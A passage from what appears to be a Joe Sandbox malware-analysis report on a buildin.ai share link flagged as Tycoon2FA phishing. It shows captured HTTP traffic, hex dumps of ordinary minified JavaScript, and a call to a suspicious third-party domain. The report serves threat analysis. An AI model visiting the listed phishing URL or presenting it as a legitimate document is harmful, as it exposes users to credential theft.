f=p[p.length-1],g=u.pos+m.lastIndexOf(f);if(!f)return!1;const E=im(f).map(h=>h.toObject(e.defaultProtocol));if(!KM(E))ret
2025-04-01 16:22:35 UTC	16384	IN	Data Raw: 2e 6e 6f 64 65 41 74 28 73 5b 61 5d 29 2c 72 2b 73 5b 61 5d 29 7d 69 73 43 6f 6c 53 65 6c 65 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 74 3d 74 68 69 73 2e 24 61 6e 63 68 6f 72 43 65 6c 6c 2e 69 6e 64 65 78 28 2d 31 29 2c 6e 3d 74 68 69 73 2e 24 68 65 61 64 43 65 6c 6c 2e 69 6e 64 65 78 28 2d 31 29 3b 69 66 28 4d 61 74 68 2e 6d 69 6e 28 74 2c 6e 29 3e 30 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 69 3d 74 2b 74 68 69 73 2e 24 61 6e 63 68 6f 72 43 65 6c 6c 2e 6e 6f 64 65 41 66 74 65 72 2e 61 74 74 72 73 2e 72 6f 77 73 70 61 6e 2c 72 3d 6e 2b 74 68 69 73 2e 24 68 65 61 64 43 65 6c 6c 2e 6e 6f 64 65 41 66 74 65 72 2e 61 74 74 72 73 2e 72 6f 77 73 70 61 6e 3b 72 65 74 75 72 6e 20 4d 61 74 68 2e 6d 61 78 28 69 2c 72 29 3d 3d 74 68 69 73 2e 24 68 65 61 64 Data Ascii: .nodeAt(s[a]),r+s[a])}isColSelection(){const t=this.$anchorCell.index(-1),n=this.$headCell.index(-1);if(Math.min(t,n)>0)return!1;const i=t+this.$anchorCell.nodeAfter.attrs.rowspan,r=n+this.$headCell.nodeAfter.attrs.rowspan;return Math.max(i,r)==this.$head
2025-04-01 16:22:35 UTC	16384	IN	Data Raw: 2e 2e 2e 6d 2e 61 74 74 72 73 2c 72 6f 77 73 70 61 6e 3a 70 2b 6d 2e 61 74 74 72 73 2e 72 6f 77 73 70 61 6e 2d 61 7d 29 29 2c 63 2b 3d 6d 2e 61 74 74 72 73 2e 63 6f 6c 73 70 61 6e 2d 31 7d 7d 72 65 74 75 72 6e 20 6c 7d 66 75 6e 63 74 69 6f 6e 20 52 67 28 65 2c 74 2c 6e 2c 69 2c 72 2c 73 2c 61 2c 6f 29 7b 69 66 28 61 3d 3d 30 7c 7c 61 3d 3d 74 2e 77 69 64 74 68 29 72 65 74 75 72 6e 21 31 3b 6c 65 74 20 6c 3d 21 31 3b 66 6f 72 28 6c 65 74 20 63 3d 72 3b 63 3c 73 3b 63 2b 2b 29 7b 63 6f 6e 73 74 20 64 3d 63 2a 74 2e 77 69 64 74 68 2b 61 2c 75 3d 74 2e 6d 61 70 5b 64 5d 3b 69 66 28 74 2e 6d 61 70 5b 64 2d 31 5d 3d 3d 75 29 7b 6c 3d 21 30 3b 63 6f 6e 73 74 20 6d 3d 6e 2e 6e 6f 64 65 41 74 28 75 29 2c 70 3d 74 2e 63 6f 6c 43 6f 75 6e 74 28 75 29 2c 66 3d 65 2e Data Ascii: ...m.attrs,rowspan:p+m.attrs.rowspan-a})),c+=m.attrs.colspan-1}}return l}function Rg(e,t,n,i,r,s,a,o){if(a==0\|\|a==t.width)return!1;let l=!1;for(let c=r;c<s;c++){const d=c*t.width+a,u=t.map[d];if(t.map[d-1]==u){l=!0;const m=n.nodeAt(u),p=t.colCount(u),f=e.
2025-04-01 16:22:35 UTC	16384	IN	Data Raw: 69 73 2e 6f 70 74 69 6f 6e 73 2e 48 54 4d 4c 41 74 74 72 69 62 75 74 65 73 2c 65 29 2c 30 5d 7d 7d 29 2c 6f 4c 3d 70 74 2e 63 72 65 61 74 65 28 7b 6e 61 6d 65 3a 22 74 61 62 6c 65 48 65 61 64 65 72 22 2c 61 64 64 4f 70 74 69 6f 6e 73 28 29 7b 72 65 74 75 72 6e 7b 48 54 4d 4c 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 7d 7d 2c 63 6f 6e 74 65 6e 74 3a 22 62 6c 6f 63 6b 2b 22 2c 61 64 64 41 74 74 72 69 62 75 74 65 73 28 29 7b 72 65 74 75 72 6e 7b 63 6f 6c 73 70 61 6e 3a 7b 64 65 66 61 75 6c 74 3a 31 7d 2c 72 6f 77 73 70 61 6e 3a 7b 64 65 66 61 75 6c 74 3a 31 7d 2c 63 6f 6c 77 69 64 74 68 3a 7b 64 65 66 61 75 6c 74 3a 6e 75 6c 6c 2c 70 61 72 73 65 48 54 4d 4c 3a 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6f 6c 77 69 64 Data Ascii: is.options.HTMLAttributes,e),0]}}),oL=pt.create({name:"tableHeader",addOptions(){return{HTMLAttributes:{}}},content:"block+",addAttributes(){return{colspan:{default:1},rowspan:{default:1},colwidth:{default:null,parseHTML:e=>{const t=e.getAttribute("colwid
2025-04-01 16:22:35 UTC	16384	IN	Data Raw: 74 75 72 6e 5b 7b 74 61 67 3a 22 62 72 22 7d 5d 7d 2c 72 65 6e 64 65 72 48 54 4d 4c 28 7b 48 54 4d 4c 41 74 74 72 69 62 75 74 65 73 3a 65 7d 29 7b 72 65 74 75 72 6e 5b 22 62 72 22 2c 46 65 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 48 54 4d 4c 41 74 74 72 69 62 75 74 65 73 2c 65 29 5d 7d 2c 72 65 6e 64 65 72 54 65 78 74 28 29 7b 72 65 74 75 72 6e 22 5c 6e 22 7d 2c 61 64 64 43 6f 6d 6d 61 6e 64 73 28 29 7b 72 65 74 75 72 6e 7b 73 65 74 48 61 72 64 42 72 65 61 6b 3a 28 29 3d 3e 28 7b 63 6f 6d 6d 61 6e 64 73 3a 65 2c 63 68 61 69 6e 3a 74 2c 73 74 61 74 65 3a 6e 2c 65 64 69 74 6f 72 3a 69 7d 29 3d 3e 65 2e 66 69 72 73 74 28 5b 28 29 3d 3e 65 2e 65 78 69 74 43 6f 64 65 28 29 2c 28 29 3d 3e 65 2e 63 6f 6d 6d 61 6e 64 28 28 29 3d 3e 7b 63 6f 6e 73 74 7b 73 65 6c Data Ascii: turn[{tag:"br"}]},renderHTML({HTMLAttributes:e}){return["br",Fe(this.options.HTMLAttributes,e)]},renderText(){return"\n"},addCommands(){return{setHardBreak:()=>({commands:e,chain:t,state:n,editor:i})=>e.first([()=>e.exitCode(),()=>e.command(()=>{const{sel
2025-04-01 16:22:35 UTC	16384	IN	Data Raw: 82 d1 8c d1 83 d1 81 d1 82 d0 b0 d0 bd d0 be d0 b2 d0 ba d1 83 d0 b2 d0 bd d0 b5 d1 88 d0 bd d0 b5 d0 b9 d0 ba d0 be d0 bc d0 bf d0 be d0 bd d0 b5 d0 bd d1 82 d1 8b 20 d0 bd d0 b0 d1 87 d0 b0 d1 82 d1 8c d1 83 d1 81 d1 82 d0 b0 d0 bd d0 be d0 b2 d0 ba d1 83 d1 80 d0 b0 d1 81 d1 88 d0 b8 d1 80 d0 b5 d0 bd d0 b8 d1 8f d1 80 d0 b0 d0 b1 d0 be d1 82 d1 8b d1 81 d0 ba d1 80 d0 b8 d0 bf d1 82 d0 be d0 b3 d1 80 d0 b0 d1 84 d0 b8 d0 b5 d0 b9 20 d0 bd d0 b0 d1 87 d0 b0 d1 82 d1 8c d1 83 d1 81 d1 82 d0 b0 d0 bd d0 be d0 b2 d0 ba d1 83 d1 80 d0 b0 d1 81 d1 88 d0 b8 d1 80 d0 b5 d0 bd d0 b8 d1 8f d1 80 d0 b0 d0 b1 d0 be d1 82 d1 8b d1 81 d1 84 d0 b0 d0 b9 d0 bb d0 b0 d0 bc d0 b8 20 d0 bd d0 b5 d0 b4 d0 b5 d0 bb d1 8f d0 b3 d0 be d0 b4 d0 b0 20 d0 bd d0 b5 d0 be d0 b1 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:34 UTC	533	OUT	GET /assets/index-c619d35b.js HTTP/1.1 Host: cdn.buildin.ai Connection: keep-alive Origin: https://buildin.ai sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:34 UTC	700	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 10910 Connection: close Date: Mon, 31 Mar 2025 20:02:46 GMT Last-Modified: Thu, 27 Mar 2025 07:35:16 GMT Etag: "03a0ed827dae8ca37e4be425b3514344" X-Amz-Server-Side-Encryption: AES256 X-Amz-Meta-S3cmd-Attrs: atime:1743060904/ctime:1743060729/gid:0/gname:root/md5:03a0ed827dae8ca37e4be425b3514344/mode:33188/mtime:1743060729/uid:0/uname:root Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 67d3f8867c3d6540e7495f9026c9c57a.cloudfront.net (CloudFront) Age: 73189 Access-Control-Allow-Origin: * X-Cache: Hit from cloudfront X-Amz-Cf-Pop: JFK50-P8 X-Amz-Cf-Id: egUT53etwD5z82PpX-HMjnCV3ffT3oU3z1HgNMwBvZ2fL3Wq1eLI9A==
2025-04-01 16:22:34 UTC	10910	IN	Data Raw: 69 6d 70 6f 72 74 7b 72 20 61 73 20 70 2c 62 20 61 73 20 50 65 2c 6a 20 61 73 20 73 2c 57 20 61 73 20 76 65 7d 66 72 6f 6d 22 2e 2f 72 65 61 63 74 2d 76 65 6e 64 6f 72 2d 30 34 35 32 33 63 35 36 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 6e 20 61 73 20 6d 2c 4e 20 61 73 20 43 2c 6f 20 61 73 20 4e 65 2c 4a 20 61 73 20 73 65 2c 61 6a 20 61 73 20 4a 2c 61 6b 20 61 73 20 6a 65 2c 6c 20 61 73 20 54 7d 66 72 6f 6d 22 2e 2f 66 6c 6f 77 75 73 2d 31 36 37 33 31 39 39 64 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 69 78 20 61 73 20 41 65 2c 69 79 20 61 73 20 53 65 2c 63 42 20 61 73 20 43 65 2c 63 74 20 61 73 20 6e 65 2c 69 7a 20 61 73 20 61 65 2c 62 4d 20 61 73 20 46 2c 62 77 20 61 73 20 5f 65 2c 62 53 20 61 73 20 72 65 2c 61 37 20 61 73 20 6f 65 2c 51 20 61 73 20 4f 2c 69 41 20 Data Ascii: import{r as p,b as Pe,j as s,W as ve}from"./react-vendor-04523c56.js";import{n as m,N as C,o as Ne,J as se,aj as J,ak as je,l as T}from"./flowus-1673199d.js";import{ix as Ae,iy as Se,cB as Ce,ct as ne,iz as ae,bM as F,bw as _e,bS as re,a7 as oe,Q as O,iA

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:34 UTC	553	OUT	GET /assets/index-3e450ade.css HTTP/1.1 Host: cdn.buildin.ai Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:34 UTC	655	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 772 Connection: close Date: Tue, 01 Apr 2025 16:22:35 GMT Last-Modified: Thu, 27 Mar 2025 08:05:58 GMT Etag: "5bafdc54413b9f388d958b356d220db9" X-Amz-Server-Side-Encryption: AES256 X-Amz-Meta-S3cmd-Attrs: atime:1743062738/ctime:1743062563/gid:0/gname:root/md5:5bafdc54413b9f388d958b356d220db9/mode:33188/mtime:1743062563/uid:0/uname:root Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 e8db4dc8ef769d3c7efb983afe130bca.cloudfront.net (CloudFront) Vary: Origin X-Cache: Miss from cloudfront X-Amz-Cf-Pop: JFK50-P8 X-Amz-Cf-Id: hw7ppR8YlnsM6kTlsh80RbOWwwYRKnesq4R1RAwFdjtf9wIVHDn0Dg==
2025-04-01 16:22:34 UTC	772	IN	Data Raw: 2e 6d 61 72 6b 64 6f 77 6e 2d 62 6f 64 79 20 6f 6c 2c 2e 6d 61 72 6b 64 6f 77 6e 2d 62 6f 64 79 20 75 6c 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 2e 6d 61 72 6b 64 6f 77 6e 2d 62 6f 64 79 20 6f 6c 20 6c 69 2c 2e 6d 61 72 6b 64 6f 77 6e 2d 62 6f 64 79 20 75 6c 20 6c 69 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6d 61 72 6b 64 6f 77 6e 2d 62 6f 64 79 20 75 6c 20 6c 69 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 63 6f 6e 74 65 6e 74 3a 22 e2 80 a2 22 3b 6c 65 66 74 3a 2d 31 65 6d 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 38 70 78 7d 2e 6d 61 72 6b 64 6f 77 6e 2d 62 6f 64 79 20 6f 6c 7b 63 6f 75 6e 74 65 72 2d 72 65 73 65 74 3a 6c 69 73 74 2d 63 6f 75 6e 74 65 72 7d 2e Data Ascii: .markdown-body ol,.markdown-body ul{list-style:none}.markdown-body ol li,.markdown-body ul li{position:relative}.markdown-body ul li:before{color:currentColor;content:"";left:-1em;position:absolute;top:8px}.markdown-body ol{counter-reset:list-counter}.

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:34 UTC	546	OUT	GET /country_code/ HTTP/1.1 Host: ipapi.co Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://buildin.ai Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:34 UTC	980	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:34 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close Allow: OPTIONS, OPTIONS, POST, GET, HEAD X-Frame-Options: DENY Vary: Host, origin access-control-allow-origin: https://buildin.ai X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2gS2MRHfKWZuOEjIjzhgXnBQwJBybJg30jwo%2BH%2FEmg02UhWqtzuBdp4LX8YcE9J3%2BnO8DAX4W31Y160eRJGBsq0%2BaxxzUVd3fUMuhlupELBys2HZVCVAmK2y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92996d11b8e88cc8-EWR server-timing: cfL4;desc="?proto=TCP&rtt=107576&min_rtt=105482&rtt_var=20520&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2789&recv_bytes=1122&delivery_rate=35259&cwnd=230&unsent_bytes=0&cid=183f0e7ae7fd7bd4&ts=352&x=0"
2025-04-01 16:22:34 UTC	2	IN	Data Raw: 55 53 Data Ascii: US

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:36 UTC	826	OUT	GET /api/docs/5a345237-8f26-47b9-9ffb-209d1d646648 HTTP/1.1 Host: buildin.ai Connection: keep-alive x-platform: web-cookie x-app-origin: web sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9,zh;q=0.8 x-product: buildin sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 app_version_name: 1.138.0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/plain, / X-SENDER-ID: 56b3aa97-9597-45ad-a41e-3ad216e5b524 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true Accept-Encoding: gzip, deflate, br, zstd Cookie: next_lng=undefined
2025-04-01 16:22:36 UTC	509	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:36 GMT Content-Type: application/json; charset=utf-8 Content-Length: 2686 Connection: close X-Pod-Name: unknown X-Pod-IP: unknown X-Node-Name: unknown Vary: Origin set-cookie: locale=en-us; path=/; max-age=31557600; expires=Wed, 01 Apr 2026 22:22:36 GMT; secure x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-readtime: 20 Server-Timing: controller;dur=19.09, total;dur=20
2025-04-01 16:22:36 UTC	2686	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 32 30 30 2c 22 64 61 74 61 22 3a 7b 22 62 6c 6f 63 6b 73 22 3a 7b 22 35 61 33 34 35 32 33 37 2d 38 66 32 36 2d 34 37 62 39 2d 39 66 66 62 2d 32 30 39 64 31 64 36 34 36 36 34 38 22 3a 7b 22 75 75 69 64 22 3a 22 35 61 33 34 35 32 33 37 2d 38 66 32 36 2d 34 37 62 39 2d 39 66 66 62 2d 32 30 39 64 31 64 36 34 36 36 34 38 22 2c 22 70 61 72 65 6e 74 49 64 22 3a 22 65 39 38 62 66 66 36 65 2d 62 34 32 63 2d 34 65 33 36 2d 38 66 39 34 2d 61 61 37 33 38 32 64 31 65 38 32 62 22 2c 22 73 70 61 63 65 49 64 22 3a 22 65 39 38 62 66 66 36 65 2d 62 34 32 63 2d 34 65 33 36 2d 38 66 39 34 2d 61 61 37 33 38 32 64 31 65 38 32 62 22 2c 22 74 79 70 65 22 3a 30 2c 22 74 69 74 6c 65 22 3a 22 52 65 71 75 65 73 74 20 66 6f 72 20 50 72 6f 70 6f 73 61 6c 20 28 Data Ascii: {"code":200,"data":{"blocks":{"5a345237-8f26-47b9-9ffb-209d1d646648":{"uuid":"5a345237-8f26-47b9-9ffb-209d1d646648","parentId":"e98bff6e-b42c-4e36-8f94-aa7382d1e82b","spaceId":"e98bff6e-b42c-4e36-8f94-aa7382d1e82b","type":0,"title":"Request for Proposal (

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Windows Analysis Report
https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:36 UTC	987	OUT	POST /api/spaces/getPublicData HTTP/1.1 Host: buildin.ai Connection: keep-alive Content-Length: 53 x-platform: web-cookie x-app-origin: web sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9,zh;q=0.8 x-product: buildin sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 app_version_name: 1.138.0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/plain, / Content-Type: application/json X-SENDER-ID: 56b3aa97-9597-45ad-a41e-3ad216e5b524 Origin: https://buildin.ai Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true Accept-Encoding: gzip, deflate, br, zstd Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
2025-04-01 16:22:36 UTC	53	OUT	Data Raw: 7b 22 73 70 61 63 65 49 64 73 22 3a 5b 22 65 39 38 62 66 66 36 65 2d 62 34 32 63 2d 34 65 33 36 2d 38 66 39 34 2d 61 61 37 33 38 32 64 31 65 38 32 62 22 5d 7d Data Ascii: {"spaceIds":["e98bff6e-b42c-4e36-8f94-aa7382d1e82b"]}
2025-04-01 16:22:37 UTC	658	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:37 GMT Content-Type: application/json; charset=utf-8 Content-Length: 312 Connection: close X-Pod-Name: unknown X-Pod-IP: unknown X-Node-Name: unknown Vary: Origin Access-Control-Allow-Origin: https://walles.ai Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: x-set-token set-cookie: locale=en-us; path=/; max-age=31557600; expires=Wed, 01 Apr 2026 22:22:37 GMT; secure x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-readtime: 5 Server-Timing: body_parse;dur=0.10, controller;dur=4.05, total;dur=5
2025-04-01 16:22:37 UTC	312	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 32 30 30 2c 22 64 61 74 61 22 3a 7b 22 73 70 61 63 65 73 22 3a 7b 22 65 39 38 62 66 66 36 65 2d 62 34 32 63 2d 34 65 33 36 2d 38 66 39 34 2d 61 61 37 33 38 32 64 31 65 38 32 62 22 3a 7b 22 75 75 69 64 22 3a 22 65 39 38 62 66 66 36 65 2d 62 34 32 63 2d 34 65 33 36 2d 38 66 39 34 2d 61 61 37 33 38 32 64 31 65 38 32 62 22 2c 22 74 69 74 6c 65 22 3a 22 45 6d 6d 61 20 43 72 61 69 6e e2 80 99 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 46 41 45 31 34 33 22 2c 22 69 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 70 6c 61 6e 54 79 70 65 22 3a 22 66 72 65 65 50 65 72 73 6f 6e 61 6c 22 2c 22 64 6f 6d 61 69 6e 22 3a 6e 75 6c 6c 2c 22 70 75 62 6c 69 63 48 6f 6d 65 50 61 67 65 22 3a 6e 75 6c 6c 2c 22 69 73 53 68 6f 77 41 64 22 3a 74 72 Data Ascii: {"code":200,"data":{"spaces":{"e98bff6e-b42c-4e36-8f94-aa7382d1e82b":{"uuid":"e98bff6e-b42c-4e36-8f94-aa7382d1e82b","title":"Emma Crain","backgroundColor":"#FAE143","icon":null,"planType":"freePersonal","domain":null,"publicHomePage":null,"isShowAd":tr

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:36 UTC	608	OUT	GET /api/?callback=1-9&channel=shangeyouxiang HTTP/1.1 Host: jjy.fyaadd.cn Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/plain, / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: https://buildin.ai Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:37 UTC	511	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 01 Apr 2025 16:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: Content-Type Set-Cookie: PHPSESSID=lb9kpcqf7l57oscb8kt5d3jd37; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Strict-Transport-Security: max-age=31536000
2025-04-01 16:22:37 UTC	126	IN	Data Raw: 37 33 0d 0a 23 23 58 33 34 69 73 6f 6c 4b 49 75 31 48 31 78 33 23 23 20 20 53 3a 2f 35 55 71 6b 6b 79 4d 31 31 4d 36 20 20 36 36 36 3a 2f ef bc 84 65 46 76 44 54 58 4b ef bc 84 20 20 36 3a 2f 5e 76 38 22 33 78 65 61 4d 52 33 53 6d 33 37 5e 20 20 31 38 3a 2f ef bc 81 53 31 44 79 38 41 69 78 48 76 4b 37 41 67 4a 74 ef bc 81 20 4d 46 35 36 38 31 20 ef bc 8c 0d 0a 30 0d 0a 0d 0a Data Ascii: 73##X34isolKIu1H1x3## S:/5UqkkyM11M6 666:/eFvDTXK 6:/^v8"3xeaMR3Sm37^ 18:/S1Dy8AixHvK7AgJt MF5681 0

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:37 UTC	771	OUT	GET /api/docs/6c5b0932-dcf8-42f1-95e4-bfa1ed94f5c4 HTTP/1.1 Host: buildin.ai Connection: keep-alive x-platform: web-cookie sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
2025-04-01 16:22:37 UTC	405	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 16:22:37 GMT Content-Type: application/json; charset=utf-8 Content-Length: 40 Connection: close X-Pod-Name: unknown X-Pod-IP: unknown X-Node-Name: unknown Vary: Origin x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-readtime: 8 Server-Timing: controller;dur=7.82, total;dur=8
2025-04-01 16:22:37 UTC	40	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 33 30 30 35 2c 22 6d 73 67 22 3a 22 44 6f 63 75 6d 65 6e 74 20 6e 6f 74 20 66 6f 75 6e 64 22 7d Data Ascii: {"code":3005,"msg":"Document not found"}

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:38 UTC	980	OUT	POST /api/records/query HTTP/1.1 Host: buildin.ai Connection: keep-alive Content-Length: 75 x-platform: web-cookie x-app-origin: web sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9,zh;q=0.8 x-product: buildin sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 app_version_name: 1.138.0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/plain, / Content-Type: application/json X-SENDER-ID: 56b3aa97-9597-45ad-a41e-3ad216e5b524 Origin: https://buildin.ai Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true Accept-Encoding: gzip, deflate, br, zstd Cookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us
